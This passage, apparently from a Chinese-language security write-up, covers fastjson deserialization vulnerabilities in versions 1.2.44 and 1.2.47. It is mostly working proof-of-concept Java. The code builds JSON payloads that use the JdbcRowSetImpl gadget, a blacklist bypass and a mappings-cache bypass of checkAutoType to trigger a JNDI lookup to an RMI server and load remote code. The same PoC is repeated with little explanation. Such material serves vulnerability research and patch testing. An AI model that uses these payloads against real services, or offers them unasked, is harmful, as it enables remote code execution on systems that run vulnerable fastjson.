String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/ift2ty\", \"autoCommit\":true}";
JSONObject.parse(payload);
}
}

fastjson 1.2.44 mappings缓存导致反序列化漏洞

修改之前的pom.xml里面的版本为1.2.44。 这个版本的fastjson总算是修复了之前的关于字符串处理绕过黑名单的问题,但是存在之前完美在说fastjson 1.2.25版本的第一种poc的那个通过mappings缓存绕过checkAutoType的漏洞,poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ldap 和 rmi都可以
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ift2ty\",\"autoCommit\":true}}";
JSONObject.parse(payload);
}
}

fastjson 1.2.47 mappings缓存导致反序列化漏洞

poc同上

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ldap 和 rmi都可以
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ift2ty\",\"autoCommit\":true}}";
JSONObject.parse(payload);
}
}